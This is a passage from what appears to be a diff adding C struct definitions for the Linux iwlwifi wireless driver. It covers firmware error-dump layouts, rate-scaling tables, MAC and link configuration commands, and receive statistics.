iwl_fw_error_dump_paging { + __le32 index; + __le32 reserved; + u8 data[0]; +}; + +struct iwl_fw_error_dump_prph { + __le32 prph_start; + __le32 data[0]; +}; + +struct iwl_fw_error_dump_rb { + __le32 index; + __le32 rxq; + __le32 reserved; + u8 data[0]; +}; + +struct iwl_fw_error_dump_smem_cfg { + __le32 num_lmacs; + __le32 num_txfifo_entries; + struct { + __le32 txfifo_size[15]; + __le32 rxfifo1_size; + } lmac[2]; + __le32 rxfifo2_size; + __le32 internal_txfifo_addr; + __le32 internal_txfifo_size[6]; +}; + +struct iwl_fw_error_dump_txcmd { + __le32 cmdlen; + __le32 caplen; + u8 data[0]; +}; + +struct iwl_fw_error_recovery_cmd { + __le32 flags; + __le32 buf_size; +}; + +struct iwl_fw_ini_addr_size { + __le32 addr; + __le32 size; +}; + +struct iwl_fw_ini_addr_val { + __le32 address; + __le32 value; +}; + +struct iwl_fw_ini_header { + __le32 version; + __le32 domain; +}; + +struct iwl_fw_ini_allocation_tlv { + struct iwl_fw_ini_header hdr; + __le32 alloc_id; + __le32 buf_location; + __le32 req_size; + __le32 max_frags_num; + __le32 min_size; +}; + +struct iwl_fw_ini_conf_set_tlv { + struct iwl_fw_ini_header hdr; + __le32 time_point; + __le32 set_type; + __le32 addr_offset; + struct iwl_fw_ini_addr_val addr_val[0]; +}; + +struct iwl_fw_ini_debug_info_tlv { + struct iwl_fw_ini_header hdr; + __le32 image_type; + u8 debug_cfg_name[64]; +}; + +struct iwl_fw_ini_dump_cfg_name { + __le32 image_type; + __le32 cfg_name_len; + u8 cfg_name[64]; +}; + +struct iwl_fw_ini_dump_entry { + struct list_head list; + u32 size; + u8 data[0]; +} __attribute__((packed)); + +struct iwl_fw_ini_dump_file_hdr { + __le32 barker; + __le32 file_len; +}; + +struct iwl_fw_ini_dump_info { + __le32 version; + __le32 time_point; + __le32 trigger_reason; + __le32 external_cfg_state; + __le32 ver_type; + __le32 ver_subtype; + __le32 hw_step; + __le32 hw_type; + __le32 rf_id_flavor; + __le32 rf_id_dash; + __le32 rf_id_step; + __le32 rf_id_type; + __le32 lmac_major; + __le32 lmac_minor; + __le32 umac_major; + __le32 umac_minor; + __le32 fw_mon_mode; + __le64 regions_mask; + __le32 build_tag_len; + u8 build_tag[64]; + __le32 num_of_cfg_names; + struct iwl_fw_ini_dump_cfg_name cfg_names[0]; +} __attribute__((packed)); + +struct iwl_fw_ini_error_dump_header { + __le32 version; + __le32 region_id; + __le32 num_of_ranges; + __le32 name_len; + u8 name[32]; +}; + +struct iwl_fw_ini_err_table_dump { + struct iwl_fw_ini_error_dump_header header; + __le32 version; + u8 data[0]; +}; + +struct iwl_fw_ini_error_dump { + struct iwl_fw_ini_error_dump_header header; + u8 data[0]; +}; + +struct iwl_fw_ini_error_dump_data { + u8 type; + u8 sub_type; + u8 sub_type_ver; + u8 reserved; + __le32 len; + __u8 data[0]; +}; + +struct iwl_fw_ini_fifo_hdr { + __le32 fifo_num; + __le32 num_of_registers; +}; + +struct iwl_fw_ini_error_dump_range { + __le32 range_data_size; + union { + __le32 internal_base_addr; + __le64 dram_base_addr; + __le32 page_num; + struct iwl_fw_ini_fifo_hdr fifo_hdr; + struct iwl_cmd_header fw_pkt_hdr; + }; + __le32 data[0]; +} __attribute__((packed)); + +struct iwl_fw_ini_error_dump_register { + __le32 addr; + __le32 data; +}; + +struct iwl_fw_ini_hcmd { + u8 id; + u8 group; + __le16 reserved; + u8 data[0]; +}; + +struct iwl_fw_ini_hcmd_tlv { + struct iwl_fw_ini_header hdr; + __le32 time_point; + __le32 period_msec; + struct iwl_fw_ini_hcmd hcmd; +}; + +struct iwl_fw_ini_monitor_dump { + struct iwl_fw_ini_error_dump_header header; + __le32 write_ptr; + __le32 cycle_cnt; + __le32 cur_frag; + u8 data[0]; +}; + +struct iwl_fw_ini_region_dev_addr { + __le32 size; + __le32 offset; +}; + +struct iwl_fw_ini_region_dev_addr_range { + __le32 offset; +}; + +struct iwl_fw_ini_region_err_table { + __le32 version; + __le32 base_addr; + __le32 size; + __le32 offset; +}; + +struct iwl_fw_ini_region_fifos { + __le32 fid[2]; + __le32 hdr_only; + __le32 offset; +}; + +struct iwl_fw_ini_region_internal_buffer { + __le32 alloc_id; + __le32 base_addr; + __le32 size; +}; + +struct iwl_fw_ini_region_special_device_memory { + __le16 type; + __le16 version; + __le32 base_addr; + __le32 size; + __le32 offset; +}; + +struct iwl_fw_ini_region_tlv { + struct iwl_fw_ini_header hdr; + __le32 id; + u8 type; + u8 sub_type; + u8 sub_type_ver; + u8 reserved; + u8 name[32]; + union { + struct iwl_fw_ini_region_dev_addr dev_addr; + struct iwl_fw_ini_region_dev_addr_range dev_addr_range; + struct iwl_fw_ini_region_fifos fifos; + struct iwl_fw_ini_region_err_table err_table; + struct iwl_fw_ini_region_internal_buffer internal_buffer; + struct iwl_fw_ini_region_special_device_memory special_mem; + __le32 dram_alloc_id; + __le32 tlv_mask; + }; + __le32 addrs[0]; +}; + +struct iwl_fw_ini_special_device_memory { + struct iwl_fw_ini_error_dump_header header; + __le16 type; + __le16 version; + u8 data[0]; +}; + +struct iwl_fw_ini_trigger_tlv { + struct iwl_fw_ini_header hdr; + __le32 time_point; + __le32 trigger_reason; + __le32 apply_policy; + __le32 dump_delay; + __le32 occurrences; + __le32 reserved; + __le32 ignore_consec; + __le32 reset_fw; + __le32 multi_dut; + __le64 regions_mask; + __le32 data[0]; +} __attribute__((packed)); + +struct iwl_fw_mon { + u32 num_frags; + struct iwl_dram_data *frags; +}; + +struct iwl_fw_paging { + dma_addr_t fw_paging_phys; + struct page *fw_paging_block; + u32 fw_paging_size; + u32 fw_offs; +}; + +struct iwl_fw_paging_cmd { + __le32 flags; + __le32 block_size; + __le32 block_num; + __le32 device_phy_addr[33]; +}; + +struct iwl_fwrt_shared_mem_cfg { + int num_lmacs; + int num_txfifo_entries; + struct { + u32 txfifo_size[15]; + u32 rxfifo1_size; + } lmac[2]; + u32 rxfifo2_size; + u32 rxfifo2_control_size; + u32 internal_txfifo_addr; + u32 internal_txfifo_size[6]; +}; + +struct iwl_fwrt_dump_data { + union { + struct { + struct iwl_fw_ini_trigger_tlv *trig; + struct iwl_rx_packet *fw_pkt; + }; + struct { + const struct iwl_fw_dump_desc *desc; + bool monitor_only; + }; + }; +}; + +struct iwl_fwrt_wk_data { + u8 idx; + struct delayed_work wk; + struct iwl_fwrt_dump_data dump_data; +}; + +struct iwl_txf_iter_data { + int fifo; + int lmac; + u32 fifo_size; + u8 internal_txf; +}; + +struct iwl_sar_profile_chain { + u8 subbands[11]; +}; + +struct iwl_sar_profile { + bool enabled; + struct iwl_sar_profile_chain chains[4]; +}; + +struct iwl_geo_profile_band { + u8 max; + u8 chains[2]; +}; + +struct iwl_geo_profile { + struct iwl_geo_profile_band bands[3]; +}; + +struct iwl_ppag_chain { + s8 subbands[11]; +}; + +struct iwl_sar_offset_mapping_cmd { + u8 offset_map[338]; + __le16 reserved; +}; + +struct iwl_mcc_allowed_ap_type_cmd { + u8 offset_map[338]; + __le16 reserved; +}; + +struct iwl_fw_runtime_ops; + +struct iwl_fw_runtime { + struct iwl_trans *trans; + const struct iwl_fw *fw; + struct device *dev; + const struct iwl_fw_runtime_ops *ops; + void *ops_ctx; + const struct iwl_dump_sanitize_ops *sanitize_ops; + void *sanitize_ctx; + struct iwl_fw_paging fw_paging_db[33]; + u16 num_of_paging_blk; + u16 num_of_pages_in_last_blk; + enum iwl_ucode_type cur_fw_img; + struct iwl_fwrt_shared_mem_cfg smem_cfg; + long: 0; + struct { + struct iwl_fwrt_wk_data wks[5]; + unsigned long active_wks; + u8 conf; + unsigned long non_collect_ts_start[32]; + u32 *d3_debug_data; + u32 lmac_err_id[2]; + u32 tcm_err_id[2]; + u32 rcm_err_id[2]; + u32 umac_err_id; + struct iwl_txf_iter_data txf_iter_data; + struct { + u8 type; + u8 subtype; + u32 lmac_major; + u32 lmac_minor; + u32 umac_major; + u32 umac_minor; + } fw_ver; + } dump; + struct { + u64 seq; + } timestamp; + struct iwl_sar_profile sar_profiles[4]; + u8 sar_chain_a_profile; + u8 sar_chain_b_profile; + u8 reduced_power_flags; + struct iwl_geo_profile geo_profiles[8]; + long: 0; + u32 geo_rev; + u32 geo_num_profiles; + bool geo_enabled; + struct iwl_ppag_chain ppag_chains[2]; + long: 0; + u32 ppag_flags; + u8 ppag_ver; + struct iwl_sar_offset_mapping_cmd sgom_table; + bool sgom_enabled; + struct iwl_mcc_allowed_ap_type_cmd uats_table; + u8 uefi_tables_lock_status; + long: 0; +} __attribute__((packed)); + +struct iwl_fw_runtime_ops { + void (*dump_start)(void *); + void (*dump_end)(void *); + int (*send_hcmd)(void *, struct iwl_host_cmd *); + bool (*d3_debug_enable)(void *); +}; + +struct iwl_gen3_bc_tbl_entry { + __le16 tfd_offset; +}; + +struct iwl_per_chain_offset { + __le16 max_tx_power; + u8 chain_a; + u8 chain_b; +}; + +struct iwl_geo_tx_power_profiles_cmd_v1 { + __le32 ops; + struct iwl_per_chain_offset table[6]; +}; + +struct iwl_geo_tx_power_profiles_cmd_v2 { + __le32 ops; + struct iwl_per_chain_offset table[6]; + __le32 table_revision; +}; + +struct iwl_geo_tx_power_profiles_cmd_v3 { + __le32 ops; + struct iwl_per_chain_offset table[9]; + __le32 table_revision; +}; + +struct iwl_geo_tx_power_profiles_cmd_v4 { + __le32 ops; + struct iwl_per_chain_offset table[16]; + __le32 table_revision; +}; + +struct iwl_geo_tx_power_profiles_cmd_v5 { + __le32 ops; + struct iwl_per_chain_offset table[24]; + __le32 table_revision; +}; + +union iwl_geo_tx_power_profiles_cmd { + struct iwl_geo_tx_power_profiles_cmd_v1 v1; + struct iwl_geo_tx_power_profiles_cmd_v2 v2; + struct iwl_geo_tx_power_profiles_cmd_v3 v3; + struct iwl_geo_tx_power_profiles_cmd_v4 v4; + struct iwl_geo_tx_power_profiles_cmd_v5 v5; +}; + +struct iwl_geo_tx_power_profiles_resp { + __le32 profile_idx; +}; + +struct iwl_hcmd_names; + +struct iwl_hcmd_arr { + const struct iwl_hcmd_names *arr; + int size; +}; + +struct iwl_hcmd_names { + u8 cmd_id; + const char * const cmd_name; +}; + +struct iwl_he_backoff_conf { + __le16 cwmin; + __le16 cwmax; + __le16 aifsn; + __le16 mu_time; +}; + +struct iwl_he_pkt_ext_v1 { + u8 pkt_ext_qam_th[16]; +}; + +struct iwl_he_pkt_ext_v2 { + u8 pkt_ext_qam_th[20]; +}; + +struct iwl_he_sta_context_cmd_v2 { + u8 sta_id; + u8 tid_limit; + u8 reserved1; + u8 reserved2; + __le32 flags; + u8 ref_bssid_addr[6]; + __le16 reserved0; + __le32 htc_flags; + u8 frag_flags; + u8 frag_level; + u8 frag_max_num; + u8 frag_min_size; + struct iwl_he_pkt_ext_v1 pkt_ext; + u8 bss_color; + u8 htc_trig_based_pkt_ext; + __le16 frame_time_rts_th; + u8 rand_alloc_ecwmin; + u8 rand_alloc_ecwmax; + __le16 reserved3; + struct iwl_he_backoff_conf trig_based_txf[4]; + u8 max_bssid_indicator; + u8 bssid_index; + u8 ema_ap; + u8 profile_periodicity; + u8 bssid_count; + u8 reserved4[3]; +}; + +struct iwl_he_sta_context_cmd_v3 { + u8 sta_id; + u8 tid_limit; + u8 reserved1; + u8 reserved2; + __le32 flags; + u8 ref_bssid_addr[6]; + __le16 reserved0; + __le32 htc_flags; + u8 frag_flags; + u8 frag_level; + u8 frag_max_num; + u8 frag_min_size; + struct iwl_he_pkt_ext_v2 pkt_ext; + u8 bss_color; + u8 htc_trig_based_pkt_ext; + __le16 frame_time_rts_th; + u8 rand_alloc_ecwmin; + u8 rand_alloc_ecwmax; + __le16 puncture_mask; + struct iwl_he_backoff_conf trig_based_txf[4]; + u8 max_bssid_indicator; + u8 bssid_index; + u8 ema_ap; + u8 profile_periodicity; + u8 bssid_count; + u8 reserved4[3]; +}; + +struct iwl_host_cmd { + const void *data[2]; + struct iwl_rx_packet *resp_pkt; + unsigned long _rx_page_addr; + u32 _rx_page_order; + u32 flags; + u32 id; + u16 len[2]; + u8 dataflags[2]; +}; + +struct iwl_hs20_roc_req_tail { + u8 node_addr[6]; + __le16 reserved; + __le32 apply_time; + __le32 apply_time_max_delay; + __le32 duration; +}; + +struct iwl_hs20_roc_req { + __le32 id_and_color; + __le32 action; + __le32 event_unique_id; + __le32 sta_id_and_color; + struct iwl_fw_channel_info channel_info; + struct iwl_hs20_roc_req_tail tail; +}; + +struct iwl_hs20_roc_res { + __le32 event_unique_id; + __le32 status; +}; + +struct iwl_ht_agg { + u32 rate_n_flags; + enum iwl_agg_state state; + u16 txq_id; + u16 ssn; + bool wait_for_ba; +}; + +struct iwl_ht_config { + bool single_chain_sufficient; + enum ieee80211_smps_mode smps; +}; + +struct iwl_ht_params { + u8 ht_greenfield_support: 1; + u8 stbc: 1; + u8 ldpc: 1; + u8 use_rts_for_aggregation: 1; + u8 ht40_bands; +}; + +struct iwl_sensitivity_ranges; + +struct iwl_hw_params { + u8 tx_chains_num; + u8 rx_chains_num; + bool use_rts_for_aggregation; + u32 ct_kill_threshold; + u32 ct_kill_exit_threshold; + const struct iwl_sensitivity_ranges *sens; +}; + +struct iwl_imr_data { + u32 imr_enable; + u32 imr_size; + u32 sram_addr; + u32 sram_size; + u32 imr2sram_remainbyte; + u64 imr_curr_addr; + __le64 imr_base_addr; +}; + +struct iwl_ini_rxf_data { + u32 fifo_num; + u32 size; + u32 offset; +}; + +struct iwl_init_extended_cfg_cmd { + __le32 init_flags; +}; + +struct iwl_lari_config_change_cmd { + __le32 config_bitmap; + __le32 oem_uhb_allow_bitmap; + __le32 oem_11ax_allow_bitmap; + __le32 oem_unii4_allow_bitmap; + __le32 chan_state_active_bitmap; + __le32 force_disable_channels_bitmap; + __le32 edt_bitmap; + __le32 oem_320mhz_allow_bitmap; + __le32 oem_11be_allow_bitmap; +}; + +struct iwl_link_config_cmd { + __le32 action; + __le32 link_id; + __le32 mac_id; + __le32 phy_id; + u8 local_link_addr[6]; + __le16 reserved_for_local_link_addr; + __le32 modify_mask; + __le32 active; + union { + __le32 listen_lmac; + struct { + u8 block_tx; + u8 reserved1[3]; + }; + }; + __le32 cck_rates; + __le32 ofdm_rates; + __le32 cck_short_preamble; + __le32 short_slot; + __le32 protection_flags; + __le32 qos_flags; + struct iwl_ac_qos ac[5]; + u8 htc_trig_based_pkt_ext; + u8 rand_alloc_ecwmin; + u8 rand_alloc_ecwmax; + u8 ndp_fdbk_buff_th_exp; + struct iwl_he_backoff_conf trig_based_txf[4]; + __le32 bi; + __le32 dtim_interval; + __le16 puncture_mask; + __le16 frame_time_rts_th; + __le32 flags; + __le32 flags_mask; + u8 ref_bssid_addr[6]; + __le16 reserved_for_ref_bssid_addr; + u8 bssid_index; + u8 bss_color; + u8 spec_link_id; + u8 ul_mu_data_disable; + u8 ibss_bssid_addr[6]; + __le16 reserved_for_ibss_bssid_addr; + __le32 reserved3[8]; +}; + +struct iwl_link_qual_agg_params { + __le16 agg_time_limit; + u8 agg_dis_start_th; + u8 agg_frame_cnt_limit; + __le32 reserved; +}; + +struct iwl_link_qual_general_params { + u8 flags; + u8 mimo_delimiter; + u8 single_stream_ant_msk; + u8 dual_stream_ant_msk; + u8 start_rate_index[4]; +}; + +struct iwl_link_quality_cmd { + u8 sta_id; + u8 reserved1; + __le16 control; + struct iwl_link_qual_general_params general_params; + struct iwl_link_qual_agg_params agg_params; + struct { + __le32 rate_n_flags; + } rs_table[16]; + __le32 reserved2; +}; + +struct iwl_scan_results_notif { + u8 channel; + u8 band; + u8 probe_status; + u8 num_probe_not_sent; + __le32 duration; +}; + +struct iwl_lmac_scan_complete_notif { + u8 scanned_channels; + u8 status; + u8 bt_status; + u8 last_channel; + __le32 tsf_low; + __le32 tsf_high; + struct iwl_scan_results_notif results[0]; +}; + +struct iwl_lq_cmd { + u8 sta_id; + u8 reduced_tpc; + __le16 control; + u8 flags; + u8 mimo_delim; + u8 single_stream_ant_msk; + u8 dual_stream_ant_msk; + u8 initial_rate_index[4]; + __le16 agg_time_limit; + u8 agg_disable_start_th; + u8 agg_frame_cnt_limit; + __le32 reserved2; + __le32 rs_table[16]; + __le32 ss_params; +}; + +struct rs_rate { + int index; + enum iwl_table_type___2 type; + u8 ant; + u32 bw; + bool sgi; + bool ldpc; + bool stbc; + bool bfer; +}; + +struct iwl_rate_scale_data { + u64 data; + s32 success_counter; + s32 success_ratio; + s32 counter; + s32 average_tpt; +}; + +struct iwl_scale_tbl_info { + struct rs_rate rate; + enum rs_column column; + const u16 *expected_tpt; + struct iwl_rate_scale_data win[17]; + struct iwl_rate_scale_data tpc_win[16]; +}; + +struct rs_rate_stats { + u64 success; + u64 total; +}; + +struct lq_sta_pers { + u8 chains; + s8 chain_signal[4]; + s8 last_rssi; + u16 max_agg_bufsize; + struct rs_rate_stats tx_stats[136]; + struct iwl_mvm *drv; + spinlock_t lock; +}; + +struct rs_init_rate_info; + +struct iwl_lq_sta { + u8 active_tbl; + u8 rs_state; + u8 search_better_tbl; + s32 last_tpt; + u32 table_count_limit; + u32 max_failure_limit; + u32 max_success_limit; + u32 table_count; + u32 total_failed; + u32 total_success; + u64 flush_timer; + u32 visited_columns; + u64 last_tx; + bool is_vht; + bool ldpc; + bool stbc_capable; + bool bfer_capable; + enum nl80211_band band; + unsigned long active_legacy_rate; + unsigned long active_siso_rate; + unsigned long active_mimo2_rate; + u8 max_legacy_rate_idx; + u8 max_siso_rate_idx; + u8 max_mimo2_rate_idx; + struct rs_rate optimal_rate; + unsigned long optimal_rate_mask; + const struct rs_init_rate_info *optimal_rates; + int optimal_nentries; + u8 missed_rate_counter; + struct iwl_lq_cmd lq; + struct iwl_scale_tbl_info lq_info[2]; + u8 tx_agg_tid_en; + u32 last_rate_n_flags; + u8 is_agg; + int tpc_reduce; + struct lq_sta_pers pers; +}; + +struct iwl_rate_scale_data___2 { + u64 data; + s32 success_counter; + s32 success_ratio; + s32 counter; + s32 average_tpt; + unsigned long stamp; +}; + +struct iwl_scale_tbl_info___2 { + enum iwl_table_type lq_type; + u8 ant_type; + u8 is_SGI; + u8 is_ht40; + u8 is_dup; + u8 action; + u8 max_search; + const u16 *expected_tpt; + u32 current_rate; + struct iwl_rate_scale_data___2 win[13]; +}; + +struct iwl_traffic_load { + unsigned long time_stamp; + u32 packet_count[20]; + u32 total; + u8 queue_count; + u8 head; +}; + +struct iwl_lq_sta___2 { + u8 active_tbl; + u8 enable_counter; + u8 stay_in_tbl; + u8 search_better_tbl; + s32 last_tpt; + u32 table_count_limit; + u32 max_failure_limit; + u32 max_success_limit; + u32 table_count; + u32 total_failed; + u32 total_success; + u64 flush_timer; + u8 action_counter; + u8 is_green; + u8 is_dup; + int: 0; + enum nl80211_band band; + u32 supp_rates; + u16 active_legacy_rate; + u16 active_siso_rate; + u16 active_mimo2_rate; + u16 active_mimo3_rate; + s8 max_rate_idx; + u8 missed_rate_counter; + struct iwl_link_quality_cmd lq; + long: 0; + struct iwl_scale_tbl_info___2 lq_info[2]; + struct iwl_traffic_load load[8]; + u8 tx_agg_tid_en; + long: 0; + struct iwl_priv *drv; + int last_txrate_idx; + u32 last_rate_n_flags; + u8 is_agg; + u8 last_bt_traffic; + long: 0; +} __attribute__((packed)); + +struct lq_sta_pers_rs_fw { + u32 sta_id; + u8 chains; + s8 chain_signal[4]; + s8 last_rssi; + struct iwl_mvm *drv; +}; + +struct iwl_lq_sta_rs_fw { + u32 last_rate_n_flags; + struct lq_sta_pers_rs_fw pers; +}; + +struct iwl_ltr_config_cmd { + __le32 flags; + __le32 static_long; + __le32 static_short; + __le32 ltr_cfg_values[4]; + __le32 ltr_short_idle_timeout; +}; + +struct iwl_mac_beacon_cmd { + __le16 byte_cnt; + __le16 flags; + __le32 short_ssid; + __le32 reserved; + __le32 link_id; + __le32 tim_idx; + union { + __le32 tim_size; + __le32 btwt_offset; + }; + __le32 ecsa_offset; + __le32 csa_offset; + struct ieee80211_hdr frame[0]; +}; + +struct iwl_tx_cmd { + __le16 len; + __le16 offload_assist; + __le32 tx_flags; + struct { + u8 try_cnt; + u8 btkill_cnt; + __le16 reserved; + } scratch; + __le32 rate_n_flags; + u8 sta_id; + u8 sec_ctl; + u8 initial_rate_index; + u8 reserved2; + u8 key[16]; + __le32 reserved3; + __le32 life_time; + __le32 dram_lsb_ptr; + u8 dram_msb_ptr; + u8 rts_retry_limit; + u8 data_retry_limit; + u8 tid_tspec; + __le16 pm_frame_timeout; + __le16 reserved4; + union { + struct { + struct {} __empty_payload; + u8 payload[0]; + }; + struct { + struct {} __empty_hdr; + struct ieee80211_hdr hdr[0]; + }; + }; +}; + +struct iwl_mac_beacon_cmd_v6 { + struct iwl_tx_cmd tx; + __le32 template_id; + __le32 tim_idx; + __le32 tim_size; + struct ieee80211_hdr frame[0]; +}; + +struct iwl_mac_beacon_cmd_v7 { + struct iwl_tx_cmd tx; + __le32 template_id; + __le32 tim_idx; + __le32 tim_size; + __le32 ecsa_offset; + __le32 csa_offset; + struct ieee80211_hdr frame[0]; +}; + +struct iwl_mac_client_data { + u8 is_assoc; + u8 esr_transition_timeout; + __le16 medium_sync_delay; + __le16 assoc_id; + __le16 reserved1; + __le16 data_policy; + __le16 reserved2; + __le32 ctwin; +}; + +struct iwl_mac_p2p_dev_data { + __le32 is_disc_extended; +}; + +struct iwl_mac_config_cmd { + __le32 id_and_color; + __le32 action; + __le32 mac_type; + u8 local_mld_addr[6]; + __le16 reserved_for_local_mld_addr; + __le32 filter_flags; + __le16 he_support; + __le16 he_ap_support; + __le32 eht_support; + __le32 nic_not_ack_enabled; + union { + struct iwl_mac_client_data client; + struct iwl_mac_p2p_dev_data p2p_dev; + }; +}; + +struct iwl_mac_data_ap { + __le32 beacon_time; + __le64 beacon_tsf; + __le32 bi; + __le32 reserved1; + __le32 dtim_interval; + __le32 reserved2; + __le32 mcast_qid; + __le32 beacon_template; +} __attribute__((packed)); + +struct iwl_mac_data_go { + struct iwl_mac_data_ap ap; + __le32 ctwin; + __le32 opp_ps_enabled; +}; + +struct iwl_mac_data_sta { + __le32 is_assoc; + __le32 dtim_time; + __le64 dtim_tsf; + __le32 bi; + __le32 reserved1; + __le32 dtim_interval; + __le32 data_policy; + __le32 listen_interval; + __le32 assoc_id; + __le32 assoc_beacon_arrive_time; +} __attribute__((packed)); + +struct iwl_mac_data_p2p_sta { + struct iwl_mac_data_sta sta; + __le32 ctwin; +}; + +struct iwl_mac_data_p2p_dev { + __le32 is_disc_extended; +}; + +struct iwl_mac_data_pibss { + __le32 stats_interval; +}; + +struct iwl_mac_data_ibss { + __le32 beacon_time; + __le64 beacon_tsf; + __le32 bi; + __le32 reserved; + __le32 beacon_template; +} __attribute__((packed)); + +struct iwl_mac_ctx_cmd { + __le32 id_and_color; + __le32 action; + __le32 mac_type; + __le32 tsf_id; + u8 node_addr[6]; + __le16 reserved_for_node_addr; + u8 bssid_addr[6]; + __le16 reserved_for_bssid_addr; + __le32 cck_rates; + __le32 ofdm_rates; + __le32 protection_flags; + __le32 cck_short_preamble; + __le32 short_slot; + __le32 filter_flags; + __le32 qos_flags; + struct iwl_ac_qos ac[5]; + union { + struct iwl_mac_data_ap ap; + struct iwl_mac_data_go go; + struct iwl_mac_data_sta sta; + struct iwl_mac_data_p2p_sta p2p_sta; + struct iwl_mac_data_p2p_dev p2p_dev; + struct iwl_mac_data_pibss pibss; + struct iwl_mac_data_ibss ibss; + }; +}; + +struct iwl_mac_low_latency_cmd { + __le32 mac_id; + u8 low_latency_rx; + u8 low_latency_tx; + __le16 reserved; +}; + +struct iwl_mac_power_cmd { + __le32 id_and_color; + __le16 flags; + __le16 keep_alive_seconds; + __le32 rx_data_timeout; + __le32 tx_data_timeout; + __le32 rx_data_timeout_uapsd; + __le32 tx_data_timeout_uapsd; + u8 lprx_rssi_threshold; + u8 skip_dtim_periods; + __le16 snooze_interval; + __le16 snooze_window; + u8 snooze_step; + u8 qndp_tid; + u8 uapsd_ac_flags; + u8 uapsd_max_sp; + u8 heavy_tx_thld_packets; + u8 heavy_rx_thld_packets; + u8 heavy_tx_thld_percentage; + u8 heavy_rx_thld_percentage; + u8 limited_ps_threshold; + u8 reserved; +}; + +struct iwl_mcast_filter_cmd { + u8 filter_own; + u8 port_id; + u8 count; + u8 pass_all; + u8 bssid[6]; + u8 reserved[2]; + u8 addr_list[0]; +}; + +struct iwl_mcc_chub_notif { + __le16 mcc; + u8 source_id; + u8 reserved1; +}; + +struct iwl_mcc_update_cmd { + __le16 mcc; + u8 source_id; + u8 reserved; + __le32 key; + u8 reserved2[20]; +}; + +struct iwl_mcc_update_resp_v3 { + __le32 status; + __le16 mcc; + u8 cap; + u8 source_id; + __le16 time; + __le16 geo_info; + __le32 n_channels; + __le32 channels[0]; +}; + +struct iwl_mcc_update_resp_v4 { + __le32 status; + __le16 mcc; + __le16 cap; + __le16 time; + __le16 geo_info; + u8 source_id; + u8 reserved[3]; + __le32 n_channels; + __le32 channels[0]; +}; + +struct iwl_mcc_update_resp_v8 { + __le32 status; + __le16 mcc; + u8 padding[2]; + __le32 cap; + __le16 time; + __le16 geo_info; + u8 source_id; + u8 reserved[3]; + __le32 n_channels; + __le32 channels[0]; +}; + +struct iwl_measurement_histogram { + __le32 ofdm[8]; + __le32 cck[8]; +}; + +struct iwl_mei_conn_info { + u8 lp_state; + u8 auth_mode; + u8 ssid_len; + u8 channel; + u8 band; + u8 pairwise_cipher; + u8 bssid[6]; + u8 ssid[32]; +}; + +struct iwl_mei_nvm { + u8 hw_addr[6]; + u8 n_hw_addrs; + u8 reserved; + u32 radio_cfg; + u32 caps; + u32 nvm_version; + u32 channels[110]; +}; + +struct iwl_mei_ops { + void (*me_conn_status)(void *, const struct iwl_mei_conn_info *); + void (*rfkill)(void *, bool, bool); + void (*roaming_forbidden)(void *, bool); + void (*sap_connected)(void *); + void (*nic_stolen)(void *); +}; + +struct iwl_mei_scan_filter { + bool is_mei_limited_scan; + struct sk_buff_head scan_res; + struct work_struct scan_work; +}; + +struct iwl_mfu_assert_dump_notif { + __le32 assert_id; + __le32 curr_reset_num; + __le16 index_num; + __le16 parts_num; + __le32 data_size; + __le32 data[0]; +}; + +struct iwl_mfuart_load_notif { + __le32 installed_ver; + __le32 external_ver; + __le32 status; + __le32 duration; + __le32 image_size; +}; + +struct iwl_mic_keys { + u8 tx[8]; + u8 rx_unicast[8]; + u8 rx_mcast[8]; +}; + +struct iwl_missed_beacon_notif { + __le32 consecutive_missed_beacons; + __le32 total_missed_becons; + __le32 num_expected_beacons; + __le32 num_recvd_beacons; +}; + +struct iwl_missed_beacons_notif { + __le32 link_id; + __le32 consec_missed_beacons_since_last_rx; + __le32 consec_missed_beacons; + __le32 other_link_id; + __le32 consec_missed_beacons_other_link; +}; + +struct iwl_missed_beacons_notif_v4 { + __le32 link_id; + __le32 consec_missed_beacons_since_last_rx; + __le32 consec_missed_beacons; + __le32 num_expected_beacons; + __le32 num_recvd_beacons; +}; + +struct iwl_missed_vap_notif { + __le32 mac_id; + u8 num_beacon_intervals_elapsed; + u8 profile_periodicity; + u8 reserved[2]; +}; + +struct iwl_mod_params { + int swcrypto; + unsigned int disable_11n; + int amsdu_size; + bool fw_restart; + bool bt_coex_active; + int led_mode; + bool power_save; + int power_level; + char *nvm_file; + u32 uapsd_disable; + bool disable_11ac; + bool disable_11ax; + bool remove_when_gone; + u32 enable_ini; + bool disable_11be; +}; + +struct iwl_mu_group_mgmt_cmd { + __le32 reserved; + __le32 membership_status[2]; + __le32 user_position[4]; +}; + +struct iwl_mu_group_mgmt_notif { + __le32 membership_status[2]; + __le32 user_position[4]; +}; + +struct iwl_multicast_key_data { + u8 key[32]; + u8 len; + u8 flags; + u8 id; + u8 ipn[6]; +}; + +typedef struct iwl_mvm *class_mvm_t; + +struct iwl_notif_wait_data { + struct list_head notif_waits; + spinlock_t notif_wait_lock; + wait_queue_head_t notif_waitq; +}; + +struct mvm_statistics_rx_phy_v2 { + __le32 ina_cnt; + __le32 fina_cnt; + __le32 plcp_err; + __le32 crc32_err; + __le32 overrun_err; + __le32 early_overrun_err; + __le32 crc32_good; + __le32 false_alarm_cnt; + __le32 fina_sync_err_cnt; + __le32 sfd_timeout; + __le32 fina_timeout; + __le32 unresponded_rts; + __le32 rxe_frame_lmt_overrun; + __le32 sent_ack_cnt; + __le32 sent_cts_cnt; + __le32 sent_ba_rsp_cnt; + __le32 dsp_self_kill; + __le32 mh_format_err; + __le32 re_acq_main_rssi_sum; + __le32 reserved; +}; + +struct mvm_statistics_rx_non_phy_v3 { + __le32 bogus_cts; + __le32 bogus_ack; + __le32 non_bssid_frames; + __le32 filtered_frames; + __le32 non_channel_beacons; + __le32 channel_beacons; + __le32 num_missed_bcon; + __le32 adc_rx_saturation_time; + __le32 ina_detection_search_time; + __le32 beacon_silence_rssi_a; + __le32 beacon_silence_rssi_b; + __le32 beacon_silence_rssi_c; + __le32 interference_data_flag; + __le32 channel_load; + __le32 dsp_false_alarms; + __le32 beacon_rssi_a; + __le32 beacon_rssi_b; + __le32 beacon_rssi_c; + __le32 beacon_energy_a; + __le32 beacon_energy_b; + __le32 beacon_energy_c; + __le32 num_bt_kills; + __le32 mac_id; + __le32 directed_data_mpdu; +}; + +struct mvm_statistics_rx_ht_phy_v1 { + __le32 plcp_err; + __le32 overrun_err; + __le32 early_overrun_err; + __le32 crc32_good; + __le32 crc32_err; + __le32 mh_format_err; + __le32 agg_crc32_good; + __le32 agg_mpdu_cnt; + __le32 agg_cnt; + __le32 unsupport_mcs; +}; + +struct mvm_statistics_rx_v3 { + struct mvm_statistics_rx_phy_v2 ofdm; + struct 